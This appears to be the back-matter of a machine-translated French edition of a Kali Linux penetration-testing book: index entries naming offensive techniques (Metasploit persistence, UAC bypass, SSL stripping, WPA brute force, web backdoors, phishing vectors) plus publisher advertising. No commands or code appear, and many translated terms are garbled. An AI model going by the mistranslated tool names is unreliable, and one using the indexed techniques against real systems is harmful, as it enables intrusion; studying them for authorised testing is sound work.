exploiter 258
Identifiant unique organisationnel 212
OSINT
environ 45
sources d'informations en ligne 46
Toile brisée OWASP
Projet d'applications 326
Mantra de l'OWASP
environ 238
vérification des applications 239
éditeurs 239
collecte d'informations 238
divers 239
utilitaires réseau 239
procuration 239
en utilisant 239
P
paquets 23
fichiers de capture de paquets (pcap) 67
Sécurité Packetstorm
URL 94
empreintes digitales passives 77
patateur 260
tests de pénétration
gestion 38-40
persistance, maintien avec Metasploit
script metsvc, en utilisant 159-161
script de persistance, en utilisant 161-163
script de persistance
environ 161
en utilisant 162, 163
agents persistants
fonctions 149, 150
Netcat, employant 155-158
en utilisant 155
persistantes (stockées), vulnérabilités XSS 292
hameçonnage 176
phpmyadmin 324
accès physique 197
chapardage 129
pillage 129
mécanisme de module pop-under 310
ports
redirection de port bidirectionnel 167
redirection, pour contourner les contrôles du réseau 165
redirection de port simple 166
analyse des ports 76
activités post-exploitation
comptes supplémentaires, création de 133, 134
jetons d'authentification, relecture à l'aide
incognito 140, 141
Metasploit, d'occasion 134-138
nouveaux comptes, accès avec horizontal
escalade 143
reconnaissance rapide des
système, conduisant 122-128
cible, pillage 129-132
pistes, couvrant 144-146
privilèges d'utilisateur, escalade en cas de compromission
hôte 139
UAC Windows, contournant 120-122
PowerShell
environ 126
applets de commande 127
Vecteurs d'attaque Powershell 175
Attaque par injection PowerShell
environ 190
lancement 190
en utilisant 191
clé pré-partagée (PSK) 219
cibles principales 92
injecteur de processus 139
exercice de preuve de concept (POC) 97
pwdump 139
Q
Vecteur d'attaque du générateur de QRcode 175
courtepointe
installation 267
R
Framboise
configuration 200
Framboise Pi 200
Vecteurs d'attaque Raspberry Pi
environ 200
configuration 200
RDP
environ 152
compromettant 258-261

Page 350
[ 333 ]
reconnaissance
environ 43
reconnaissance active 43
principes de base 44, 45
OSINT 45
reconnaissance passive 43
reconnaissance, de sites web
conduite 230-235
Reconnaissance
environ 82, 83
en utilisant 83-85
commande de redirection 298
vulnérabilités reflétées. Voir non persistant
Vulnérabilités XSS
applications d'accès à distance
exploiter 264, 265
Outil d'administration à distance Tommy
Édition (RATTE) 175
Protocole de bureau à distance. Voir RDP
Hôte distant (RHOST) 102
Port distant (RPORT) 102
référentiels 23
rootkit 149
mot de passe racine
réinitialisation 26
Attaque RunAs
inconvénients 121
lancement 121
S
Base de données SAM 129
politique de même origine 291
gommage 36
cibles secondaires 92
Secunia
URL 94
Protocole Secure Shell (SSH)
environ 21
compromettant 262, 263
Couche de sockets sécurisés. Voir SSL
Sécurité
test, avec des proxys côté client 243-249
Responsable des comptes de sécurité
base de données. Voir la base de données SAM
SecurityFocus
URL 94
Cadre de politique de l'expéditeur (SPF) 50
serveur exploite 250
Dossiers de service (SRV) 50
Boîte à outils SE
environ 172, 175
avantages 172
attaques 174
lancement 172-174
dossiers partagés 28, 29
protocole shikata_ga_nai 164
obturateur 36
redirection de port simple 166
Skipfish 240
Vecteur d'attaque d'usurpation de SMS 175
renifleur 194
ingénierie sociale 171
attaques d'ingénierie sociale
Vecteur d'attaque basé sur Arduino 175
créer une charge utile et un module d'écoute 175
escalade, redirection DNS utilisée 194-197
accès physique hostile 198
générateur de milieux infectieux 175
facteurs clés 171
MassMailer Attaque 175
accès physique 197
Vecteurs d'attaque Powershell 175
Vecteur d'attaque du générateur de QRcode 175
Vecteur d'attaque d'usurpation de SMS 175
vecteur d'attaque de spear-phishing 174
modules tiers 175
vecteurs d'attaque de site Web 174
vecteur d'attaque de point d'accès sans fil 175
Boîte à outils de l'ingénieur social. Voir la boîte à outils SE
attaque de harponnage
environ 176
lancement 176
effectuer 177-181
vecteur d'attaque de spear-phishing 174
Attaque par injection SQL
contre, base de données Mutillidae 252
sqlmap 252
SSL 266
SSL, attaque
Kali, configuration pour SSLv2
numérisation 267, 268
phase de reconnaissance, de SSL
connexions 269-274

Page 351
[ 334 ]
déni d'attaques de service contre SSL 277, 278
sslstrip, utilisé pour la conduite
attaque de l'homme du milieu 275, 277
outil sslcaudit 271
outil sslscan 271
outil sslsniff 271
outil sslsplit 272
outil sslstrip
environ 272
utilisé, pour la conduite
attaque de l'homme du milieu 275-277
SSLyze 278
outil python sslyze 273
outil sslyze 272
agent persistant autonome
création, Metasploit utilisé 163-165
stratégies de balayage furtif,
reconnaissance active
environ 66
paramètres de paquet, modification 68, 69
proxy, utilisation avec anonymat
réseaux 69-72
pile IP source et identification de l'outil
paramètres, réglage 66, 67
chiffrements forts 269
T
Méthode d'attaque par tabulation
environ 174
lancement 188
en utilisant 188
cibles
pillage 129-132
cibles principales 92
cibles secondaires 92
cibles tertiaires 92
TCP/IP couteau suisse 155
test en équipe
Armitage, occasion 107, 108
visionneuse d'équipe 36
Service Telnet
activation, à distance 150-152
terminaison 36
cibles tertiaires 92
environnement de test
environnements complexes 323
Systèmes d'exploitation Microsoft, test 322
mise en place 321
applications Windows tierces,
test 322
Applications Unix, test 322
Installation du système d'exploitation Unix,
test 322
l'outil de récolte
environ 58
en utilisant 58, 59
applications tierces
installation 35, 37
gérer 35
s'exécutant en tant que, avec des privilèges non root 37, 38
applications Windows tierces
test 322
modélisation des menaces 92, 93
champ de durée de vie (TTL) 54
TLS 266
outil tlssled 272
Tor
environ 69
considérations 73
installation 70, 71
URL 69
en utilisant, avec Privoxy 70
traceroute 74
Sécurité de la couche de transport. Voir TLS
Protocole de transfert de fichiers trivial (TFTP) 156
TrueCrypt
utilisé, pour créer un dossier crypté 30-35
TSSLd 278
TWiki 324
U
Applications Unix
test 322
Installation du système d'exploitation Unix
test 322
mise à jour, Kali Linux
Système de gestion de paquets Debian 23
informations de l'utilisateur
métadonnées de document, collecte 59-61
adresse e-mail, collecte 58
noms, collecte 58
obtenir 57

Page 352
[ 335 ]
privilèges d'utilisateur
escalade, sur l'hôte compromis 139
utilisateurs
profilage, pour les listes de mots de passe 61, 62
V
VBScript
environ 286
utilisé, pour lancer des attaques 286-289
Véga 240
Voile-Évasion
environ 112, 113
fonctionnalités 111
Identifiant du fournisseur (VID) 281
escalade verticale 139
machine virtuelle (VM)
environ 16
Kali Linux, installation de 315, 316
Informatique de réseau virtuel
activation, à distance 154
VirusTotal
URL 165
Édition de scripts Visual Basic. Voir VBScript
VPN
environ 278
IPSec 278
SSL 278
analyseurs de vulnérabilité
environ 236
Arachnide 240
pour les services Web 236
fonctionnalité de la vulnérabilité traditionnelle
scanners, extension 237, 238
fonctionnalités des navigateurs Web,
extension 238
GoLismero 240
Nikto 240
Skipfish 240
Véga 240
w3af 240
Wapiti 241
Webscarab 241
vulnérabilité spécifique au service Web
scanneurs 240
Webshag 241
Websploit 241
scanners de vulnérabilité Web 236
analyse des vulnérabilités
environ 88
limites 88
application vulnérable
explorer 103, 104
applications Web vulnérables
Pierre de fondation 325
Hackxor 325
LAMPESécurité 325
Applications Web brisées OWASP
Projet 326
WebChèvre 326
Dojo de sécurité Web 326
Référentiel VulnHub
URL 323
VulnVoIP 323
VulnVPN 283, 323
script vulsque
URL 81
W
w3af 240
Wapiti 241
attaque de numérotation de guerre 48
WCE
environ 142
en utilisant 142
chiffrements faibles 269
Attaque et audit d'applications Web
Cadre. Voir w3af
portes dérobées Web
utilisé, pour maintenir l'accès 254-256
applications Web
Mutillidés 324
phpmyadmin 324
test 324
TWiki 324
webdav 324
commande webcam_capture 298
webdav (création distribuée basée sur le Web
et versionnage) 324
WebChèvre 326
Méthode d'attaque de Web Jacking 174
Webscarab 241
Dojo de sécurité Web 326
vulnérabilité spécifique au service Web
scanneurs 240

Page 353
[ 336 ]
Webshag 241
vecteurs d'attaque de site Web
environ 174
Méthode d'attaque de la moissonneuse d'identifiants 174
Méthode d'attaque d'applet Java 174
Méthode d'exploitation du navigateur Metasploit 174
Méthode Web multi-attaque 175
Méthode d'attaque tabnabbing 174
Méthode d'attaque de Web Jacking 174
Websploit 241
scanners de vulnérabilité Web 236
Weevely
environ 254
création 255
Encryption WEP
compromettre 213-219
WHOIS 48, 49
Accès protégé WiFi 2 (WPA2) 219
Accès protégé WiFi (WPA) 213, 219
Protocole Wi-Fi Protected Setup (WPS) 223
Windows Management Instrumentation
Ligne de commande (WMIC) 125
Windows PowerShell
environ 289
utilisé, pour lancer des attaques 290, 291
Windows Terminal Services
activation, à distance 152, 153
UAC Windows
contournement 120, 121
paramètres 120
vecteur d'attaque de point d'accès sans fil 175
communications sans fil
point d'accès, clonage 224
Attaques DoS 225
exploiter 203
Kali, configuration pour les attaques sans fil 204
Authentification par adresse MAC,
contournement 211-213
Cryptage WEP, compromettant 213-218
reconnaissance sans fil 204
WPA et WPA2, attaquant 219
Confidentialité équivalente sans fil (WEP) 213
reconnaissance sans fil
environ 204-207
Kismet 207
Requin filaire 128
outil wkhtmltoimage 82
WPA et WPA2
environ 219
attaquer 219
attaques par force brute 219-223
routeurs sans fil, attaquant avec Reaver 223
X
certificat x.509 269
XSS 291
Page 295 des journaux XSSF
Cadre XSS
environ 292
installation 293
Test XSSF page 295
Fonction tunnel XSSF
environ 292
en utilisant 293
Proxy tunnel XSSF 295
Vulnérabilités XSS
environ 291
non persistant 291
persistant 291
Oui
Yandex
URL 46
Z
zombie 299
Chargé par [stormrg]

Page 354
Merci d'avoir acheté
Maîtriser Kali Linux pour les tests de pénétration avancés
À propos de la publication Packt
Packt, prononcé 'packed', a publié son premier livre "
Mastering phpMyAdmin for Effective
MySQL Management " en avril 2004 et a par la suite continué à
se spécialiser dans l'édition
des livres très ciblés sur des technologies et des solutions
spécifiques.
Nos livres et publications partagent les expériences de vos
collègues professionnels de l'informatique dans l'adaptation
et la personnalisation des systèmes, applications et frameworks
d'aujourd'hui. Nos livres basés sur des solutions
vous donner les connaissances et le pouvoir de personnaliser
les logiciels et les technologies que vous utilisez
pour faire le travail. Les livres Packt sont plus spécifiques et
moins généraux que les livres informatiques que vous avez
vu dans le passé. Notre modèle économique unique nous
permet de vous apporter des informations plus ciblées,
vous donnant plus de ce que vous devez savoir, et moins de ce
que vous ne savez pas.
Packt est une maison d'édition moderne mais unique, qui se
concentre sur la production de qualité,
livres de pointe pour les communautés de développeurs,
d'administrateurs et de débutants.
Pour plus d'informations, veuillez visiter notre site Web :
www.packtpub.com .
À propos de Packt Open Source
En 2010, Packt a lancé deux nouvelles marques, Packt Open
Source et Packt Enterprise, afin de
continuer à se concentrer sur la spécialisation. Ce livre fait
partie de la marque Packt Open Source, home
aux livres publiés sur des logiciels construits autour de licences
Open Source, et offrant des informations
à n'importe qui, des développeurs avancés aux concepteurs de
sites Web en herbe. La marque Open Source
gère également Open Source Libre Programme de Packt, par
lequel Packt donne une redevance à chaque ouvert
Projet source sur le logiciel duquel un livre est vendu.
Écrire pour Packt
Nous accueillons toutes les demandes de personnes
intéressées par la création. Les propositions de livres doivent
être envoyé à author@packtpub.com . Si votre idée de livre
n'en est qu'à ses débuts et que vous aimeriez
pour en discuter avant de rédiger une proposition de livre
formelle, contactez-nous; l'un de nos mise en service
les éditeurs vous contacteront.
Nous ne recherchons pas seulement des auteurs publiés ; si
vous avez de solides compétences techniques mais pas
d'écriture
expérience, nos rédacteurs expérimentés peuvent vous aider à
développer une carrière d'écrivain, ou simplement à obtenir
récompense supplémentaire pour votre expertise.

Page 355
Test de pénétration Web avec
Kali Linux
ISBN : 978-1-78216-316-9
Broché : 342 pages
Un guide pratique pour mettre en œuvre la pénétration
stratégies de test sur des sites Web, des applications Web,
et protocoles Web standard avec Kali Linux
1. Apprenez les concepts clés de reconnaissance nécessaires
en tant que testeur d'intrusion.
2. Attaquer et exploiter les fonctionnalités clés,
l'authentification,
et des sessions sur des applications Web.
3. Apprenez à protéger les systèmes, rédiger des rapports,
et vendre des services de test d'intrusion Web.
Livre de recettes Kali Linux
ISBN : 978-1-78328-959-2
Broché : 260 pages
Plus de 70 recettes pour vous aider à maîtriser Kali Linux pour
tests de sécurité de pénétration efficaces
1. Des recettes conçues pour vous éduquer en profondeur
sur les principes des tests d'intrusion et Kali
Outils Linux.
2. Apprendre à utiliser les outils Kali Linux, tels que
Metasploit, Wireshark et bien d'autres
par des instructions détaillées et structurées.
3. Vous enseigner dans un style facile à suivre, plein de
des exemples, des illustrations et des conseils qui conviendront
experts qu'aux débutants.
Veuillez consulter www.PacktPub.com pour plus
d'informations sur nos titres

Page 356
Ingénierie sociale de Kali Linux
ISBN : 978-1-78328-327-9
Broché : 84 pages
Effectuer efficacement des activités sociales efficaces et
organisées
tests d'ingénierie et tests d'intrusion utilisant
Kali Linux
1. Découvrez les différentes attaques, ainsi que des conseils et
astuces pour les éviter.
2.
Maîtrisez les moyens efficaces de performer
tests de pénétration.
3. Utilisez des techniques avancées pour contourner la sécurité
commandes et restent cachés pendant l'exécution
tests d'ingénierie sociale.
Apprendre Nessus pour la pénétration
Essai
ISBN : 978-1-78355-099-9
Broché : 116 pages
Maîtriser comment effectuer la sécurité de l'infrastructure
informatique
évaluations de vulnérabilité à l'aide de Nessus avec des conseils
et des aperçus des défis du monde réel rencontrés
lors de l'évaluation de la vulnérabilité
1. Comprendre les bases de la vulnérabilité
évaluation et tests d'intrusion en tant que
ainsi que les différents types de tests.
2.
Installez et configurez Nessus avec succès
options de numérisation.
3. Apprenez des conseils utiles basés sur des problèmes du
monde réel
rencontrés lors de la numérisation.
Veuillez consulter www.PacktPub.com pour plus
d'informations sur nos titres
Original textContribute a better translation

Vous aimerez peut-être aussi